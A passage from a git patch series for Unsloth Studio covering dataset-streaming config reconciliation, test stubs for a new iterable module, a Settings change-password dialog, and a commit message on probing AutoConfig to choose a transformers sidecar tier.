-        setEvalSteps: (evalSteps) => set({ evalSteps }),
+        setEvalSteps: (evalSteps) => {
+          const state = get();
+          const streamingPatch = streamingCompatiblePatch({ ...state, evalSteps });
+          set({
+            evalSteps,
+            ...streamingPatch,
+          });
+          notifyStreamingCompat(streamingPatch);
+        },
         setPacking: (packing) => set({ packing }),
         setTrainOnCompletions: (trainOnCompletions) => {
           _trainOnCompletionsManuallySet = true;
-          set({ trainOnCompletions });
+          set({
+            trainOnCompletions,
+            ...(trainOnCompletions ? { datasetStreaming: false } : {}),
+          });
         },
         setGradientCheckpointing: (gradientCheckpointing) =>
           set({ gradientCheckpointing }),
@@ -805,7 +938,7 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
     },
     {
       name: "unsloth_training_config_v1",
-      version: 10,
+      version: 11,
       migrate: (persisted, version) => {
         const s = persisted as Record<string, unknown>;
         if (version < 2 && s.datasetSubset == null && s.datasetConfig != null) {
@@ -852,9 +985,31 @@ export const useTrainingConfigStore = create<TrainingConfigStore>()(
             s.learningRate = LR_DEFAULT_CPT;
           }
         }
+        if (version < 11) {
+          // Standalone bump: users already on main's v10 (CPT) skipped the
+          // streaming backfill when it was nested under v<10, so give it its
+          // own version guard.
+          s.datasetStreaming ??= false;
+        }
         return s as unknown as TrainingConfigStore;
       },
       partialize: partializePersistedState,
+      onRehydrateStorage: () => (state) => {
+        // datasetStreaming is persisted, but constraint-coupled fields like
+        // trainOnCompletions / maxSteps / evalSteps are NON_PERSISTED and
+        // rehydrate to defaults. That can resurrect an invalid combo (e.g.
+        // streaming=true with a default trainOnCompletions) that the backend
+        // rejects with 422. Reconcile immediately on load instead of relying
+        // on a post-mount effect.
+        if (!state) return;
+        const patch = streamingCompatiblePatch(state);
+        if (Object.keys(patch).length > 0) {
+          // Sync localStorage hydration runs inside create(), before
+          // useTrainingConfigStore is assigned (TDZ). Defer to a microtask so the
+          // store exists when we reconcile the persisted streaming combo.
+          queueMicrotask(() => useTrainingConfigStore.setState(patch));
+        }
+      },
     },
   ),
 );
diff --git a/studio/frontend/src/features/training/types/api.ts b/studio/frontend/src/features/training/types/api.ts
index 1d90a3647f..4f7a41bdea 100644
--- a/studio/frontend/src/features/training/types/api.ts
+++ b/studio/frontend/src/features/training/types/api.ts
@@ -18,6 +18,7 @@ export interface TrainingStartRequest {
   subset: string | null;
   train_split: string | null;
   eval_split: string | null;
+  dataset_streaming: boolean;
   dataset_slice_start: number | null;
   dataset_slice_end: number | null;
   local_datasets: string[];
diff --git a/studio/frontend/src/features/training/types/config.ts b/studio/frontend/src/features/training/types/config.ts
index 68ede77d6e..d24ce31a6a 100644
--- a/studio/frontend/src/features/training/types/config.ts
+++ b/studio/frontend/src/features/training/types/config.ts
@@ -29,6 +29,7 @@ export interface TrainingConfigState {
   datasetSubset: string | null;
   datasetSplit: string | null;
   datasetEvalSplit: string | null;
+  datasetStreaming: boolean;
   datasetManualMapping: DatasetManualMapping;
   datasetSystemPrompt: string;
   datasetUserTemplate: string;
@@ -107,6 +108,7 @@ export interface TrainingConfigActions {
   setDatasetSubset: (subset: string | null) => void;
   setDatasetSplit: (split: string | null) => void;
   setDatasetEvalSplit: (split: string | null) => void;
+  setDatasetStreaming: (value: boolean) => void;
   setDatasetManualMapping: (mapping: DatasetManualMapping) => void;
   setDatasetAdvisorFields: (fields: {
     systemPrompt?: string;
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 7bc86b57ec..1ea352f081 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -845,6 +845,7 @@ export const en = {
       resumingTraining: "Resuming training...",
       startingTraining: "starting training...",
       dataset: "Dataset",
+      datasetStreaming: "Dataset: streaming (no full download)",
       modelWeights: "Model weights",
     },
     tour: {
diff --git a/tests/python/test_e2e_no_torch_sandbox.py b/tests/python/test_e2e_no_torch_sandbox.py
index 7da7cf0eae..23d4a2c2b3 100644
--- a/tests/python/test_e2e_no_torch_sandbox.py
+++ b/tests/python/test_e2e_no_torch_sandbox.py
@@ -27,6 +27,7 @@ CHAT_TEMPLATES = DATASETS_DIR / "chat_templates.py"
 FORMAT_DETECTION = DATASETS_DIR / "format_detection.py"
 MODEL_MAPPINGS = DATASETS_DIR / "model_mappings.py"
 VLM_PROCESSING = DATASETS_DIR / "vlm_processing.py"
+ITERABLE = DATASETS_DIR / "iterable.py"
 HARDWARE_PY = HARDWARE_DIR / "hardware.py"
 
 # Studio venv for server tests
@@ -280,9 +281,13 @@ class TestBeforeAfterImportChain:
             mm = types.ModuleType('model_mappings')
             mm.MODEL_TO_TEMPLATE_MAPPER = {{}}
             sys.modules['model_mappings'] = mm
+            it = types.ModuleType('iterable')
+            it.is_streaming_dataset = lambda *a, **k: False
+            sys.modules['iterable'] = it
             source = open({str(CHAT_TEMPLATES)!r}).read()
             source = source.replace('from .format_detection import', 'from format_detection import')
             source = source.replace('from .model_mappings import', 'from model_mappings import')
+            source = source.replace('from .iterable import', 'from iterable import')
             exec(source)
             print("OK")
         """)
@@ -323,6 +328,7 @@ class TestBeforeAfterImportChain:
             VLM_PROCESSING,
             DATA_COLLATORS,
             CHAT_TEMPLATES,
+            ITERABLE,
         ]:
             if src.exists():
                 shutil.copy2(src, pkg_dir / src.name)
@@ -431,10 +437,14 @@ class TestDataclassInstantiation:
             mm = types.ModuleType('model_mappings')
             mm.MODEL_TO_TEMPLATE_MAPPER = {{}}
             sys.modules['model_mappings'] = mm
+            it = types.ModuleType('iterable')
+            it.is_streaming_dataset = lambda *a, **k: False
+            sys.modules['iterable'] = it
             ns = {{}}
             source = open({str(CHAT_TEMPLATES)!r}).read()
             source = source.replace('from .format_detection import', 'from format_detection import')
             source = source.replace('from .model_mappings import', 'from model_mappings import')
+            source = source.replace('from .iterable import', 'from iterable import')
             exec(source, ns)
             assert 'Instruction' in ns['DEFAULT_ALPACA_TEMPLATE']
             print("OK")
@@ -544,11 +554,15 @@ class TestEdgeCasesBrokenTorch:
             mm = types.ModuleType('model_mappings')
             mm.MODEL_TO_TEMPLATE_MAPPER = {{}}
             sys.modules['model_mappings'] = mm
+            it = types.ModuleType('iterable')
+            it.is_streaming_dataset = lambda *a, **k: False
+            sys.modules['iterable'] = it
 
             ns = {{}}
             source = open({str(CHAT_TEMPLATES)!r}).read()
             source = source.replace('from .format_detection import', 'from format_detection import')
             source = source.replace('from .model_mappings import', 'from model_mappings import')
+            source = source.replace('from .iterable import', 'from iterable import')
             exec(source, ns)
 
             # Import succeeds -- this is the fix
diff --git a/tests/python/test_studio_import_no_torch.py b/tests/python/test_studio_import_no_torch.py
index 86dc8581ab..c4efbc8cea 100644
--- a/tests/python/test_studio_import_no_torch.py
+++ b/tests/python/test_studio_import_no_torch.py
@@ -254,10 +254,15 @@ class TestChatTemplatesNoTorchVenv:
             model_mappings.MODEL_TO_TEMPLATE_MAPPER = {{}}
             sys.modules['model_mappings'] = model_mappings
 
+            iterable = types.ModuleType('iterable')
+            iterable.is_streaming_dataset = lambda *a, **k: False
+            sys.modules['iterable'] = iterable
+
             # Read and transform the source: replace relative imports with absolute
             source = open({str(CHAT_TEMPLATES)!r}).read()
             source = source.replace('from .format_detection import', 'from format_detection import')
             source = source.replace('from .model_mappings import', 'from model_mappings import')
+            source = source.replace('from .iterable import', 'from iterable import')
 
             exec(source)
 
@@ -295,10 +300,15 @@ class TestChatTemplatesNoTorchVenv:
             model_mappings.MODEL_TO_TEMPLATE_MAPPER = {{}}
             sys.modules['model_mappings'] = model_mappings
 
+            iterable = types.ModuleType('iterable')
+            iterable.is_streaming_dataset = lambda *a, **k: False
+            sys.modules['iterable'] = iterable
+
             ns = {{}}
             source = open({str(CHAT_TEMPLATES)!r}).read()
             source = source.replace('from .format_detection import', 'from format_detection import')
             source = source.replace('from .model_mappings import', 'from model_mappings import')
+            source = source.replace('from .iterable import', 'from iterable import')
             exec(source, ns)
 
             assert 'DEFAULT_ALPACA_TEMPLATE' in ns, "DEFAULT_ALPACA_TEMPLATE not defined"
@@ -379,6 +389,10 @@ class TestFormatConversionNoTorchVenv:
             datasets_mod.IterableDataset = type('IterableDataset', (), {{}})
             sys.modules['datasets'] = datasets_mod
 
+            iterable_mod = types.ModuleType('iterable')
+            iterable_mod.is_streaming_dataset = lambda *a, **k: False
+            sys.modules['iterable'] = iterable_mod
+
             # Stub utils.hardware
             utils_mod = types.ModuleType('utils')
             hardware_mod = types.ModuleType('utils.hardware')
@@ -390,6 +404,7 @@ class TestFormatConversionNoTorchVenv:
             # Read and exec format_conversion.py
             source = open({str(FORMAT_CONVERSION)!r}).read()
             source = source.replace('from .format_detection import', 'from format_detection import')
+            source = source.replace('from .iterable import', 'from iterable import')
             ns = {{'__name__': '__test__'}}
             exec(source, ns)
 
@@ -437,6 +452,10 @@ class TestFormatConversionNoTorchVenv:
             datasets_mod.IterableDataset = type('IterableDataset', (), {{}})
             sys.modules['datasets'] = datasets_mod
 
+            iterable_mod = types.ModuleType('iterable')
+            iterable_mod.is_streaming_dataset = lambda *a, **k: False
+            sys.modules['iterable'] = iterable_mod
+
             utils_mod = types.ModuleType('utils')
             hardware_mod = types.ModuleType('utils.hardware')
             hardware_mod.dataset_map_num_proc = lambda n=None: 1
@@ -446,6 +465,7 @@ class TestFormatConversionNoTorchVenv:
 
             source = open({str(FORMAT_CONVERSION)!r}).read()
             source = source.replace('from .format_detection import', 'from format_detection import')
+            source = source.replace('from .iterable import', 'from iterable import')
             ns = {{'__name__': '__test__'}}
             exec(source, ns)
 

From 494e0e6fe4a50aa2082bada63bc0f1864b11c14b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 07:49:13 -0700
Subject: [PATCH 034/306] studio: let users change their password from Settings
 (#6520)

* studio: let users change their password from Settings

The only day-to-day way to change credentials was the destructive console command
'unsloth studio reset-password' (it deletes auth.db); the in-app change-password
page is the forced first-login flow and bounces non-forced users to /login.

Add a Change password control to Settings > General > Account: a small dialog
that takes the current and new password and calls the existing
POST /api/auth/change-password, then stores the rotated tokens it returns.
Username changes remain out of scope.

The dialog uses authFetch, so an expired access token is refreshed and the
request retried instead of failing with a spurious expired-token error for a user
who left Studio open past the token lifetime. The row is hidden in the Tauri
desktop app, which authenticates via desktop auto-auth with a generated secret:
there is no user-entered password to change there, and changing it would clear
the desktop secret.

* studio: harden settings password change

* studio: harden settings password dialog UX

---------

Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/frontend/src/features/auth/index.ts    |   1 +
 .../src/features/native-intents/index.ts      |   1 +
 .../components/change-password-dialog.tsx     | 323 ++++++++++++++++++
 .../features/settings/tabs/general-tab.tsx    |  14 +-
 studio/frontend/src/i18n/locales/en.ts        |  21 ++
 studio/frontend/src/i18n/locales/zh-CN.ts     |  18 +
 6 files changed, 377 insertions(+), 1 deletion(-)
 create mode 100644 studio/frontend/src/features/settings/components/change-password-dialog.tsx

diff --git a/studio/frontend/src/features/auth/index.ts b/studio/frontend/src/features/auth/index.ts
index 9baad33e0e..f33991b6b7 100644
--- a/studio/frontend/src/features/auth/index.ts
+++ b/studio/frontend/src/features/auth/index.ts
@@ -15,6 +15,7 @@ export {
   mustChangePassword,
   resetOnboardingDone,
   setMustChangePassword,
+  storeAuthTokens,
 } from "./session";
 export {
   clearTauriAuthFailure,
diff --git a/studio/frontend/src/features/native-intents/index.ts b/studio/frontend/src/features/native-intents/index.ts
index 1e62dc26e5..a82c39a9ec 100644
--- a/studio/frontend/src/features/native-intents/index.ts
+++ b/studio/frontend/src/features/native-intents/index.ts
@@ -3,6 +3,7 @@
 
 export { NativeModelChip } from "./components/native-model-chip";
 export { NativeModelDropOverlay } from "./components/native-model-drop-overlay";
+export { openModelsDir } from "./api";
 export { useNativeIntentStore } from "./store";
 export type { NativeIntent } from "./types";
 export { useChooseNativeModel } from "./use-native-dialogs";
diff --git a/studio/frontend/src/features/settings/components/change-password-dialog.tsx b/studio/frontend/src/features/settings/components/change-password-dialog.tsx
new file mode 100644
index 0000000000..cd30d37d5d
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/change-password-dialog.tsx
@@ -0,0 +1,323 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+  DialogTrigger,
+} from "@/components/ui/dialog";
+import { Input } from "@/components/ui/input";
+import { Label } from "@/components/ui/label";
+import {
+  getAuthToken,
+  refreshSession,
+  setMustChangePassword,
+  storeAuthTokens,
+} from "@/features/auth";
+import { useT } from "@/i18n";
+import { apiUrl } from "@/lib/api-base";
+import { toast } from "@/lib/toast";
+import { type FormEvent, useState } from "react";
+
+const MIN_PASSWORD_LENGTH = 8;
+const WRONG_CURRENT_PASSWORD_DETAIL = "Current password is incorrect";
+
+type T = ReturnType<typeof useT>;
+
+function stringField(payload: Record<string, unknown>, key: string): string {
+  const value = payload[key];
+  return typeof value === "string" ? value : "";
+}
+
+function booleanField(payload: Record<string, unknown>, key: string): boolean {
+  return payload[key] === true;
+}
+
+function changePasswordBody(
+  currentPassword: string,
+  nextPassword: string,
+): string {
+  return JSON.stringify(
+    Object.fromEntries([
+      ["current_password", currentPassword],
+      ["new_password", nextPassword],
+    ]),
+  );
+}
+
+function hasStartedTooShortPassword(value: string): boolean {
+  return value.length > 0 && value.length < MIN_PASSWORD_LENGTH;
+}
+
+function hasReusablePassword(currentPassword: string, nextPassword: string) {
+  return (
+    currentPassword.length >= MIN_PASSWORD_LENGTH &&
+    nextPassword.length >= MIN_PASSWORD_LENGTH &&
+    currentPassword === nextPassword
+  );
+}
+
+function passwordValidationMessage(
+  t: T,
+  currentPassword: string,
+  nextPassword: string,
+  confirmPassword: string,
+): string {
+  if (currentPassword.length < MIN_PASSWORD_LENGTH) {
+    return t("settings.general.passwordDialog.currentTooShort", {
+      minLength: MIN_PASSWORD_LENGTH,
+    });
+  }
+  if (nextPassword.length < MIN_PASSWORD_LENGTH) {
+    return t("settings.general.passwordDialog.newTooShort", {
+      minLength: MIN_PASSWORD_LENGTH,
+    });
+  }
+  if (nextPassword !== confirmPassword) {
+    return t("settings.general.passwordDialog.mismatch");
+  }
+  if (currentPassword === nextPassword) {
+    return t("settings.general.passwordDialog.samePassword");
+  }
+  return "";
+}
+
+async function unauthorizedDetail(response: Response): Promise<string | null> {
+  if (response.status !== 401) {
+    return null;
+  }
+  const payload = (await response
+    .clone()
+    .json()
+    .catch(() => null)) as {
+    detail?: string;
+  } | null;
+  return payload?.detail ?? null;
+}
+
+function postChangePassword(
+  currentPassword: string,
+  nextPassword: string,
+): Promise<Response> {
+  const headers = new Headers({ "Content-Type": "application/json" });
+  const token = getAuthToken();
+  if (token) {
+    headers.set("Authorization", `Bearer ${token}`);
+  }
+  return fetch(apiUrl("/api/auth/change-password"), {
+    method: "POST",
+    headers,
+    body: changePasswordBody(currentPassword, nextPassword),
+  });
+}
+
+async function requestPasswordChange(
+  currentPassword: string,
+  nextPassword: string,
+): Promise<Record<string, unknown>> {
+  let response = await postChangePassword(currentPassword, nextPassword);
+  const detail = await unauthorizedDetail(response);
+  if (response.status === 401 && detail !== WRONG_CURRENT_PASSWORD_DETAIL) {
+    // Retry token/session 401s, but never turn the endpoint's
+    // "wrong current password" validation into a session refresh/logout.
+    if (await refreshSession()) {
+      response = await postChangePassword(currentPassword, nextPassword);
+    }
+  }
+  if (!response.ok) {
+    const payload = (await response.json().catch(() => null)) as {
+      detail?: string;
+    } | null;
+    throw new Error(payload?.detail || "");
+  }
+  return (await response.json()) as Record<string, unknown>;
+}
+
+/**
+ * Change the signed-in account's password from Settings, reusing the existing
+ * POST /api/auth/change-password endpoint. The forced first-login flow lives at
+ * /change-password and bounces non-forced users to /login, so day-to-day changes
+ * need their own self-contained entry point here.
+ */
+export function ChangePasswordDialog() {
+  const t = useT();
+  const [open, setOpen] = useState(false);
+  const [current, setCurrent] = useState("");
+  const [next, setNext] = useState("");
+  const [confirm, setConfirm] = useState("");
+  const [submitting, setSubmitting] = useState(false);
+
+  const reset = () => {
+    setCurrent("");
+    setNext("");
+    setConfirm("");
+  };
+
+  const currentTooShort = hasStartedTooShortPassword(current);
+  const nextTooShort = hasStartedTooShortPassword(next);
+  const mismatch = confirm.length > 0 && next !== confirm;
+  const samePassword = hasReusablePassword(current, next);
+  const validationMessage = passwordValidationMessage(
+    t,
+    current,
+    next,
+    confirm,
+  );
+  const disabled = submitting || Boolean(validationMessage);
+
+  async function submit(event: FormEvent) {
+    event.preventDefault();
+    if (validationMessage) {
+      toast.error(validationMessage);
+      return;
+    }
+    setSubmitting(true);
+    try {
+      const data = await requestPasswordChange(current, next);
+      const accessToken = stringField(data, "access_token");
+      const refreshToken = stringField(data, "refresh_token");
+      if (!(accessToken && refreshToken)) {
+        throw new Error(t("settings.general.passwordDialog.updateFailed"));
+      }
+      // The endpoint rotates the JWT secret and returns fresh tokens.
+      storeAuthTokens(accessToken, refreshToken);
+      setMustChangePassword(booleanField(data, "must_change_password"));
+      toast.success(t("settings.general.passwordDialog.updated"));
+      reset();
+      setOpen(false);
+    } catch (err) {
+      toast.error(
+        err instanceof Error && err.message
+          ? err.message
+          : t("settings.general.passwordDialog.updateFailed"),
+      );
+    } finally {
+      setSubmitting(false);
+    }
+  }
+
+  return (
+    <Dialog
+      open={open}
+      onOpenChange={(o) => {
+        if (submitting && !o) {
+          return;
+        }
+        setOpen(o);
+        if (!o) {
+          reset();
+        }
+      }}
+    >
+      <DialogTrigger asChild={true}>
+        <Button variant="outline" size="sm" className="h-8">
+          {t("settings.general.passwordDialog.trigger")}
+        </Button>
+      </DialogTrigger>
+      <DialogContent
+        className="sm:max-w-sm"
+        showCloseButton={!submitting}
+        onEscapeKeyDown={(event) => {
+          if (submitting) {
+            event.preventDefault();
+          }
+        }}
+        onInteractOutside={(event) => {
+          if (submitting) {
+            event.preventDefault();
+          }
+        }}
+      >
+        <form onSubmit={submit}>
+          <DialogHeader>
+            <DialogTitle>
+              {t("settings.general.passwordDialog.title")}
+            </DialogTitle>
+            <DialogDescription>
+              {t("settings.general.passwordDialog.description", {
+                minLength: MIN_PASSWORD_LENGTH,
+              })}
+            </DialogDescription>
+          </DialogHeader>
+          <div className="mt-4 space-y-3">
+            <div className="space-y-1.5">
+              <Label htmlFor="cp-current">
+                {t("settings.general.passwordDialog.currentPassword")}
+              </Label>
+              <Input
+                id="cp-current"
+                type="password"
+                autoComplete="current-password"
+                value={current}
+                onChange={(e) => setCurrent(e.target.value)}
+                minLength={MIN_PASSWORD_LENGTH}
+                disabled={submitting}
+              />
+              {currentTooShort ? (
+                <p className="text-xs text-destructive" aria-live="polite">
+                  {t("settings.general.passwordDialog.currentTooShort", {
+                    minLength: MIN_PASSWORD_LENGTH,
+                  })}
+                </p>
+              ) : null}
+            </div>
+            <div className="space-y-1.5">
+              <Label htmlFor="cp-new">
+                {t("settings.general.passwordDialog.newPassword")}
+              </Label>
+              <Input
+                id="cp-new"
+                type="password"
+                autoComplete="new-password"
+                value={next}
+                onChange={(e) => setNext(e.target.value)}
+                minLength={MIN_PASSWORD_LENGTH}
+                disabled={submitting}
+              />
+              {nextTooShort || samePassword ? (
+                <p className="text-xs text-destructive" aria-live="polite">
+                  {nextTooShort
+                    ? t("settings.general.passwordDialog.newTooShort", {
+                        minLength: MIN_PASSWORD_LENGTH,
+                      })
+                    : t("settings.general.passwordDialog.samePassword")}
+                </p>
+              ) : null}
+            </div>
+            <div className="space-y-1.5">
+              <Label htmlFor="cp-confirm">
+                {t("settings.general.passwordDialog.confirmPassword")}
+              </Label>
+              <Input
+                id="cp-confirm"
+                type="password"
+                autoComplete="new-password"
+                value={confirm}
+                onChange={(e) => setConfirm(e.target.value)}
+                minLength={MIN_PASSWORD_LENGTH}
+                disabled={submitting}
+              />
+              {mismatch ? (
+                <p className="text-xs text-destructive" aria-live="polite">
+                  {t("settings.general.passwordDialog.mismatch")}
+                </p>
+              ) : null}
+            </div>
+          </div>
+          <DialogFooter className="mt-5">
+            <Button type="submit" disabled={disabled}>
+              {submitting
+                ? t("settings.general.passwordDialog.updating")
+                : t("settings.general.passwordDialog.update")}
+            </Button>
+          </DialogFooter>
+        </form>
+      </DialogContent>
+    </Dialog>
+  );
+}
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index 975eeb69f4..6e34b3b23d 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -14,7 +14,7 @@ import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
 import { usePlatformStore } from "@/config/env";
 import { isTauri } from "@/lib/api-base";
-import { openModelsDir } from "@/features/native-intents/api";
+import { openModelsDir } from "@/features/native-intents";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { toast } from "@/lib/toast";
 import { loadModelsFolder, type ModelsFolder } from "../api/models-folder";
@@ -39,6 +39,7 @@ import {
   loadUploadLimitSettings,
   updateUploadLimitSettings,
 } from "../api/upload-limit";
+import { ChangePasswordDialog } from "../components/change-password-dialog";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
@@ -339,6 +340,17 @@ export function GeneralTab() {
             </button>
           </div>
         </SettingsRow>
+        {/* The desktop app authenticates via desktop auto-auth with a generated
+            secret, so there is no user-entered password to change here (and
+            changing it would clear the desktop secret). Web only. */}
+        {isTauri ? null : (
+          <SettingsRow
+            label={t("settings.general.password")}
+            description={t("settings.general.passwordDescription")}
+          >
+            <ChangePasswordDialog />
+          </SettingsRow>
+        )}
       </SettingsSection>
 
       {modelsFolder ? (
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 1ea352f081..ddb8286b73 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -105,6 +105,27 @@ export const en = {
         "Used to load gated models and push artifacts.",
       hideToken: "Hide token",
       showToken: "Show token",
+      password: "Password",
+      passwordDescription: "Change the password for this Studio account.",
+      passwordDialog: {
+        trigger: "Change password",
+        title: "Change password",
+        description:
+          "Enter your current password and choose a new one (at least {minLength} characters).",
+        currentPassword: "Current password",
+        newPassword: "New password",
+        confirmPassword: "Confirm new password",
+        currentTooShort:
+          "Current password must be at least {minLength} characters.",
+        newTooShort: "New password must be at least {minLength} characters.",
+        mismatch: "Passwords do not match.",
+        samePassword:
+          "New password must be different from your current password.",
+        update: "Update password",
+        updating: "Updating...",
+        updated: "Password updated.",
+        updateFailed: "Password update failed.",
+      },
       chatDefaults: "Chat defaults",
       autoTitleNewChats: "Auto-title new chats",
       autoTitleNewChatsDescription:
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index c87ea1b312..c89b1daa46 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -104,6 +104,24 @@ export const zhCN = {
       huggingFaceTokenDescription: "用于加载受限模型和推送产物。",
       hideToken: "隐藏 token",
       showToken: "显示 token",
+      password: "密码",
+      passwordDescription: "更改此 Studio 账号的密码。",
+      passwordDialog: {
+        trigger: "更改密码",
+        title: "更改密码",
+        description: "输入当前密码并选择新密码（至少 {minLength} 个字符）。",
+        currentPassword: "当前密码",
+        newPassword: "新密码",
+        confirmPassword: "确认新密码",
+        currentTooShort: "当前密码至少需要 {minLength} 个字符。",
+        newTooShort: "新密码至少需要 {minLength} 个字符。",
+        mismatch: "两次输入的密码不一致。",
+        samePassword: "新密码必须与当前密码不同。",
+        update: "更新密码",
+        updating: "正在更新...",
+        updated: "密码已更新。",
+        updateFailed: "密码更新失败。",
+      },
       chatDefaults: "聊天默认设置",
       autoTitleNewChats: "自动为新聊天命名",
       autoTitleNewChatsDescription: "根据第一条消息生成简短标题。",

From 007a21235cde2979bc9c905aa0a8964cf51a61e0 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 08:20:06 -0700
Subject: [PATCH 035/306] Generalize transformers tier selection by probing
 AutoConfig (#6550)

* Resolve the transformers tier by probing AutoConfig instead of guessing

When the only signal is a 5.x tokenizer class, get_transformers_tier guessed the
lowest 5.x sidecar (530). That misroutes models whose built-in config parser needs
a higher tier: dense NemotronH ships a 5.x tokenizer but its '-' (MLP) layer only
transformers 5.10 can parse, so 5.3/5.5 raise KeyError '-'. The config.json
transformers_version field records the saving version, not the minimum to load, so
it cannot drive routing either.

Replace the weak tokenizer->530 guesses (local and remote) with a probe: parse
config.json with the built-in parser (trust_remote_code=False) in each sidecar,
escalating 530->550->510, and pick the first that succeeds. This generalizes to any
architecture without hardcoded lists. Strong signals stay fast paths (no subprocess);
the probe runs only when the tier is otherwise ambiguous and is cached by (model,
commit sha). It never executes repo code, never downloads weights, never raises, and
falls back to the legacy 530 guess on a transient/auth/offline failure or when no
sidecar is available. UNSLOTH_DISABLE_TIER_PROBE restores the old behavior.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: tier probe fallbacks and cross-platform robustness

Codex:
- Never escalate to 510 on uncertainty. When every sidecar was probed and none
  parsed with the built-in parser, the model is a remote-code / custom model_type
  that loads via its own code; keep the legacy 530 route instead of jumping to
  510 (which would change the behavior of models that worked on the 5.3 stack).
- Only cache the 530 fallback when the result is conclusive (every tier actually
  probed). If a sidecar was missing/uninstallable the environment is incomplete,
  so return 530 uncached and retry on the next call.
- Do not pin the tier cache under an unknown revision: _resolve_commit_sha no
  longer memoizes a None sha (a transient Hub failure is retried), and _probe_tier
  only caches a tier when the commit sha is known.

Gemini:
- Wrap Path.exists() in the sha resolver in try/except OSError (a remote repo id
  can raise WinError 123 on Windows).
- Probe script writes the error to sys.stderr.buffer as UTF-8 bytes so a non-ASCII
  message cannot itself raise UnicodeEncodeError under cp1252.
- subprocess.run decodes stderr with errors="replace" to avoid UnicodeDecodeError
  on non-UTF-8 consoles.

Tests: 72 passed (added partial-sidecar uncached, sha-unresolved not cached,
all-failed stays 530 + cached, sha resolver retries None / handles OSError).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review round 2: authenticate tier checks, stop memoizing local sigs

Codex:
- Thread hf_token through _check_config_needs_510/550 and
  _check_tokenizer_config_needs_v5 (and the underlying raw fetches). Previously a
  gated/private model whose only 5.x signal is tokenizer_config.json never reached
  the authenticated probe: the unauthenticated raw fetch failed and cached False,
  so the model fell through to the default 4.x tier. The per-check caches are now
  keyed by (model, token) so an unauthenticated miss cannot poison a later authed
  read, mirroring _load_config_json.
- _resolve_commit_sha no longer memoizes a local directory signature. A local
  signature is mutable (size/mtime of config/tokenizer), so a reused/overwritten
  checkpoint path would otherwise keep selecting the previous tier; it is now
  recomputed every call. Only the immutable remote commit sha is memoized.

Tests: 75 passed (added token-cache isolation + auth header, local signature not
memoized, token threaded into all checks/probe).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review round 3: reach activation with the token, drop SHA tier cache

Codex round 3:
- Thread hf_token into the activation path that actually selects a sidecar. The
  token-aware tier checks added last round were unreachable:
  activate_transformers_for_subprocess called get_transformers_tier without a
  token, and the inference/training/export workers passed only the model name even
  though they hold a request-scoped hf_token. activate_transformers_for_subprocess
  now takes hf_token and the three workers forward config["hf_token"], so a
  gated/private model whose only 5.x signal is an authenticated config/tokenizer is
  routed to the right sidecar instead of falling to default 4.x.
- Stop importing huggingface_hub during tier detection. _probe_tier no longer
  resolves a commit sha, so it never pulls huggingface_hub into the worker before
  the sidecar venv is prepended to sys.path (activation only prepends, never
  purges), which would otherwise pin the default-env hub over the sidecar's
  pinned huggingface_hub==1.8.0.
- The tier cache is now keyed by model_name for the process lifetime (a model's
  required tier is a property of its architecture; cleared on restart). This drops
  the mutable-SHA memo that masked remote revision changes and the mutable
  local-signature memo, removing _resolve_commit_sha / _local_dir_signature /
  _probe_sha_cache entirely.
- Do not cache a probe success that depended on a skipped lower tier: if a lower
  sidecar was unavailable, the lowest valid tier may change once it installs, so
  the result is returned uncached and re-probed next call.

Tests: 73 passed (probe imports no hub; success uncached when a lower tier is
skipped; activation forwards the token).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments to be more succinct

* Re-probe overwritten local checkpoints and authenticate the probe child

The AutoConfig tier probe cached its result under the bare model_name, so a
local checkpoint overwritten in place (same path, new config.json) kept serving
the stale sidecar. Fold a cheap config.json signature (size + mtime) into the
cache key for local paths; remote ids stay name-keyed so no huggingface_hub
import lands before the sidecar is activated.

The probe relies on the implicit HF_TOKEN env, so an inherited
HF_HUB_DISABLE_IMPLICIT_TOKEN=1 left it unauthenticated and a gated repo 401ed
into the 530 fail-safe. Clear that flag in the child env when a token is set.

* Keep tier probes off the log-only path and probe new 5.x archs default-first

- get_transformers_tier gains probe=True/False. needs_transformers_5 (a coarse
  4-vs-5 boolean used only for a spawn log and a vision-check branch) now passes
  probe=False, so a parent/log-only caller never spawns sidecar probes. The real
  activation path keeps probe=True and resolves the exact tier in the worker.
- A config.json saved by transformers 5.x but matched by no fast path is now probed
  default-first: _probe_tier gains include_default + floor, prepending the ambient
  4.57.x tier to the escalation. A model that still parses on the default is left on
